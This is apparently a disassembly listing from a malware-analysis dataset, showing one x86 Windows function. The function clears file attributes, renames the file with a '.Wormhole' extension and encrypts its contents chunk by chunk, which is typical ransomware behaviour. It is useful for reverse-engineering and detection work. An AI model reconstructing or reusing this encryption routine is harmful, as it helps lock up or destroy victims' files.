Function at 0x44c930
Capabilities:
Check if file exists
Get file attributes
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5a7e36
mov eax, dword fs:[0]
push eax
sub esp, 0x1c8
mov eax, dword [0x634f14]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1c0], edx
mov dword [ebp - 0x1c4], ecx
mov esi, dword [ebp + 8]
mov ecx, esi
call fcn.0044c6c0
test al, al
jne 0x44c9b1
cmp dword [esi + 0x14], 0x10
jb 0x44c982
mov eax, dword [esi]
jmp 0x44c984
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x44c9b8
mov edx, str.Error_getting_file_attributes:
mov ecx, 0x6371f8
call fcn.00456b30
mov edx, esi
mov ecx, eax
call fcn.00456e90
push eax
call fcn.00456de0
add esp, 4
xor al, al
jmp 0x44ce19
test al, 3
je 0x44c9ff
cmp dword [esi + 0x14], 0x10
jb 0x44c9c6
mov ecx, dword [esi]
jmp 0x44c9c8
mov ecx, esi
and eax, 0xfffffffc
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x44c9ff
mov edx, str.Error_setting_file_attributes_to_remove_readonly_and_hidden:
mov ecx, 0x6371f8
call fcn.00456b30
mov edx, esi
mov ecx, eax
call fcn.00456e90
push eax
call fcn.00456de0
add esp, 4
xor al, al
jmp 0x44ce19
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
push 0x1000
lea ecx, [ebp - 0x38]
movq qword [ebp - 0x38], xmm0
call fcn.00451960
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2c]
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0
push 0x1010
movq qword [ebp - 0x2c], xmm0
call fcn.00451960
push str..Wormhole
mov edx, esi
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x50]
call fcn.00457150
add esp, 4
mov byte [ebp - 4], 2
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
cmovae eax, dword [ebp - 0x50]
cmp dword [esi + 0x14], 0x10
jb 0x44ca6b
mov esi, dword [esi]
push eax
push esi
call fcn.0058a590
mov esi, dword [ebp - 0x2c]
add esp, 8
test eax, eax
je 0x44ca9b
mov edx, str.Error_renaming_file.
mov ecx, 0x6371f8
call fcn.00456b30
push eax
call fcn.00456de0
add esp, 4
xor bl, bl
jmp 0x44cd7d
push 0xb8
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.005840f0
add esp, 4
lea eax, [ebp - 0x50]
lea ecx, [ebp - 0x108]
push 0x21
push eax
call fcn.004520d0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 0x108]
xorps xmm0, xmm0
mov word [ebp - 0x1c8], 1
push dword [ebp - 0x1c8]
movq qword [ebp - 0x20], xmm0
mov eax, dword [eax + 4]
push 0
mov dword [ebp - 0x18], 0
mov eax, dword [ebp + eax - 0xd0]
test eax, eax
sete byte [ebp - 0x1d0]
push dword [ebp - 0x1d0]
push eax
call fcn.00457230
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 4
call fcn.00455220
test eax, eax
jne 0x44cb4c
mov eax, dword [ebp - 0x108]
lea ecx, [ebp - 0x108]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, edx
push eax
call fcn.0044c290
push 0xb0
lea eax, [ebp - 0x1b8]
push 0
push eax
call fcn.005840f0
add esp, 4
lea eax, [ebp - 0x50]
lea ecx, [ebp - 0x1b8]
push 0x32
push eax
call fcn.00451fc0
mov byte [ebp - 4], 5
cmp dword [ebp - 0x168], 0
mov ebx, dword [ebp - 0x20]
jne 0x44cb8a
mov edx, str.Error_opening_file.
jmp 0x44cba0
call fcn.00458d00
mov edi, eax
mov dword [ebp - 0x1c8], edi
test edi, edi
jne 0x44cbc0
mov edx, str.Error_creating_cipher_context.
mov ecx, 0x6371f8
call fcn.00456b30
push eax
call fcn.00456de0
add esp, 4
xor al, al
mov byte [ebp - 0x1b9], al
jmp 0x44cd19
mov ecx, dword [ebp - 0x1c0]
cmp dword [ecx + 0x14], 0x10
jb 0x44cbce
mov ecx, dword [ecx]
mov eax, dword [ebp - 0x1c4]
cmp dword [eax + 0x14], 0x10
jb 0x44cbdc
mov eax, dword [eax]
push ecx
push eax
push 0
call fcn.004656e0
push eax
push edi
call fcn.00459c20
add esp, 0x14
test eax, eax
jne 0x44cbfd
mov edx, str.Error_initializing_encryption.
jmp 0x44cc9c
mov eax, dword [ebp - 0x1c]
xor edi, edi
sub eax, ebx
mov dword [ebp - 0x1c4], eax
je 0x44cc7f
mov ecx, eax
mov dword [ebp - 0x1c0], eax
mov edx, 0x1000
nop dword [eax]
sub eax, edi
cmp eax, 0x1000
lea eax, [ebx + edi]
cmova ecx, edx
push ecx
push eax
lea eax, [ebp - 0x14]
push eax
push esi
push dword [ebp - 0x1c8]
call fcn.00459c80
add esp, 0x14
test eax, eax
je 0x44ccbf
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x1b8]
cdq
push edx
push eax
push esi
call fcn.00452b90
mov ecx, dword [ebp - 0x1c0]
add edi, 0x1000
mov eax, dword [ebp - 0x1c4]
sub ecx, 0x1000
mov dword [ebp - 0x1c0], ecx
mov edx, 0x1000
cmp edi, eax
jb 0x44cc20
mov edi, dword [ebp - 0x1c8]
lea eax, [ebp - 0x14]
push eax
push esi
push edi
call fcn.004599c0
add esp, 0xc
test eax, eax
jne 0x44ccec
mov edx, str.Error_finalizing_encryption.
mov ecx, 0x6371f8
call fcn.00456b30
push eax
call fcn.00456de0
push edi
call fcn.00458ca0
add esp, 8
xor al, al
mov byte [ebp - 0x1b9], al
jmp 0x44cd19
mov edx, str.Error_encrypting_file.
mov ecx, 0x6371f8
call fcn.00456b30
push eax
call fcn.00456de0
push dword [ebp - 0x1c8]
call fcn.00458ca0
add esp, 8
xor al, al
mov byte [ebp - 0x1b9], al
jmp 0x44cd19
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x1b8]
cdq
push edx
push eax
push esi
call fcn.00452b90
push edi
call fcn.00458ca0
add esp, 4
lea ecx, [ebp - 0x1b8]
call fcn.00451f80
mov byte [ebp - 0x1b9], 1
lea ecx, [ebp - 0x1b8]
call fcn.0044ce40
test ebx, ebx
je 0x44cd6c
mov eax, dword [ebp - 0x18]
sub eax, ebx
cmp eax, 0x1000
jb 0x44cd63
test byte [ebp - 0x20], 0x1f
je 0x44cd3f
call fcn.0058a435
mov eax, dword [ebx - 4]
cmp eax, ebx
jb 0x44cd4b
call fcn.0058a435
sub ebx, eax
cmp ebx, 4
jae 0x44cd57
call fcn.0058a435
cmp ebx, 0x23
jbe 0x44cd61
call fcn.0058a435
mov ebx, eax
push ebx
call fcn.00581615
add esp, 4
lea ecx, [ebp - 0x108]
call fcn.0044c8a0
mov bl, byte [ebp - 0x1b9]
lea ecx, [ebp - 0x50]
call fcn.00451d60
test esi, esi
je 0x44cdcd
mov eax, dword [ebp - 0x24]
sub eax, esi
cmp eax, 0x1000
jb 0x44cdc4
test byte [ebp - 0x2c], 0x1f
je 0x44cda0
call fcn.0058a435
mov eax, dword [esi - 4]
cmp eax, esi
jb 0x44cdac
call fcn.0058a435
sub esi, eax
cmp esi, 4
jae 0x44cdb8
call fcn.0058a435
cmp esi, 0x23
jbe 0x44cdc2
call fcn.0058a435
mov esi, eax
push esi
call fcn.00581615
add esp, 4
mov ecx, dword [ebp - 0x38]
test ecx, ecx
je 0x44ce17
mov eax, dword [ebp - 0x30]
sub eax, ecx
cmp eax, 0x1000
jb 0x44ce0e
test cl, 0x1f
je 0x44cdea
call fcn.0058a435
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x44cdf6
call fcn.0058a435
sub ecx, eax
cmp ecx, 4
jae 0x44ce02
call fcn.0058a435
cmp ecx, 0x23
jbe 0x44ce0c
call fcn.0058a435
mov ecx, eax
push ecx
call fcn.00581615
add esp, 4
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00581041
mov esp, ebp
pop ebp
ret